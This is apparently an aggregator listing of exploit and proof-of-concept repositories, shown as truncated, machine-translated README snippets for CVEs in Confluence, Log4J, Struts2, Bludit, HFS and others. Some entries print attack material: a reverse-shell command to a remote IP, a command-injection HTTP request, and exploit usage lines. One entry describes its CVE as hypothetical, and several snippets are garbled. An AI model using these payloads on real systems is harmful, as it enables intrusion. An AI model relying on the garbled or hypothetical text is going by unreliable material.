CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence Pre-Auth RCE | OGNL injection Télécharger le script PoC git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 Exécuter l'exploit USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python...

rails-rce-cve-2016-0752

Exploitation de CVE-2016-0752 Cette application sert de preuve de concept vulnérable pour l'exploitation de CVE-2016-0752. Pour plus d'informations, consultez ce billet de blog, qui explique la vulnérabilité, les étapes nécessaires pour l'exploiter, le correctif, et un lien vers un module...

CVE-2023-41425

Wonder CMS RCE تنفيذ الأوامر عن بعد | | الوصف : XSS إلى RCE، Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat form+action=" EOF Starting a new web server to serve payloads sudo python3 -m http.server $LPORTWEB & | | بعد إرسال XSS RCE إلى...

Oracle-WebLogic-CVE-2017-10271

WebLogic Wls-wsat XMLDecoder وصف الثغرة mitre:https://vulners.com/cve/CVE-2017-3506 في وقت مبكر، استغل القراصنة ثغرة مكون WLS في WebLogic لشن هجمات عن بعد واسعة النطاق على خوادم المؤسسات، مما أدى إلى اختراق عدد كبير من خوادم المؤسسات، وارتفع عدد الخوادم المخترقة بشكل ملحوظ، مما يستدعي اهتمامًا...

Log4J-CVE-2021-44228-RCE

استغلال Log4J CVE-2021-44228 مع تنفيذ الأوامر استغلال تفاعلي، فقط قم بتشغيل: ./exploit.sh...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 تنفيذ أوامر عن بعد مع المصادقة الاستخدام python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" مثال...

PoC-CVE-2017-5638

PoC : Apache Struts2 CVE-2017-5638 Démo éducative sécurisée 📌 Aperçu Ce projet est une Preuve de Concept PoC pour CVE-2017-5638 , une célèbre vulnérabilité Apache Struts2 qui permettait aux attaquants d'exécuter du code arbitraire sur les serveurs affectés. ⚠️ Ce dépôt contient une démo sécurisée...

WebKit-CVE-2016-4622

تحليل WebKit CVE-2016-4622: غوص عميق في ثغرة المسار السريع لـ Slice ValueOf تحليل شامل واستغلال ثغرة WebKit JavaScript Core التي تمكن من كشف الذاكرة من خلال التلاعب بـ Array.slice جدول المحتويات الملخص التنفيذي نظرة عامة على الثغرة إعداد بيئة البحث التحليل الفني شرح الاستغلال خطوة بخطوة النتائج...

cve-2022-26134

CVE-2022-26134 par 1vere$k Un simple PoC pour l'exploit Atlassian Jira. Permet l'exécution de code pour un utilisateur non authentifié sur un serveur. CVE-2022-26134 - Vulnérabilité d'injection OGNL. Script de preuve de concept qui exploite la vulnérabilité d'exécution de code à distance affectan...

CVE-2022-22954

CVE-2022-22954 PoC RCE via SSTI sur VMware Workspace ONE Access et Identity Manager. CVE-2022-22954 - PoC SSTI Utilisation : CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manu...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner أداة سريعة بلغة C لفحص CVE-2020-0688 على مضيفين متعددين بطريقة غير تدخلية. الميزات مسح المضيفين من ملف إدخال. فحص سلبي: استخراج إصدار Exchange من خلال فحص محتوى HTML. إنتاج ملف مخرجات. عرض توضيحي كيفية الاستخدام المتطلبات الأساسية ويندوز .NET framework 4.5.2 التحميل git clon...

CVE-2021-42013-Apache-RCE-Poc-Exp

Nom de la vulnérabilité Apache Exécution de code à distance CVE-2021-42013 Description de la vulnérabilité Apache HTTP Server est un serveur web open source de la Fondation Apache États-Unis. Ce serveur est rapide, fiable et peut être étendu via une API simple. Il a été découvert que le correctif...

Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-

Triage : CVE-2021-26855 ProxyLogon - Microsoft Exchange Pour ce laboratoire, l'objectif était de s'entraîner à trier une vulnérabilité réelle bien connue comme le ferait une équipe de sécurité : lire les détails de la CVE, comprendre le score CVSS, et raisonner sur le niveau de risque réel selon ...

CVE-2025-2945

CVE-2025-2945 - Exploit RCE authentifié pgAdmin4 Auteur : G0D150NE Version : 2.0.0 CVE : CVE-2025-2945 Sévérité : Critique CVSS 9.9 📌 Description Exploit pour la vulnérabilité d'exécution de code à distance RCE de pgAdmin4 affectant les versions 8.10 à 9.1. La vulnérabilité se situe dans le point...

cobaltstrike_swing_xss2rce

لا يحتوي هذا المستودع على ملف README...

Triage-CVE-2017-0144

Triage : CVE-2017-0144 EternalBlue / SMBv1 — associé à la propagation de WannaCry Pour ce laboratoire, l'objectif était de trier une autre vulnérabilité réelle bien connue, cette fois EternalBlue, la faille SMBv1 qui a été tristement célèbre pour avoir été exploitée par la vague de ransomware...

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0 — загрузка файлов и удаленное выполнение кода CVE-2024-22515 произвольная загрузка файлов и CVE-2024-22514 удаленное выполнение кода для AgentDVR 5.1.6.0 требуется аутентификация Вероятно, затронуты и более старые версии...

CVE-2024-23692

CVE-2024-23692 BURP POC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

pwn-hisilicon-dvr

= Piratage de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract Ce rapport divulgue des vulnérabilités graves avec une preuve de concept PoC des dispositifs DVR/NVR construit...

CVE-2024-6387

CVE-2024-6387 CVE-2024-6387 — это гипотетический пример, но давайте предположим, что это реальная уязвимость в реализации сервера OpenSSH. Эта уязвимость может включать переполнение буфера или повреждение памяти, что позволяет удаленным злоумышленникам выполнить произвольный код на сервере. Вот...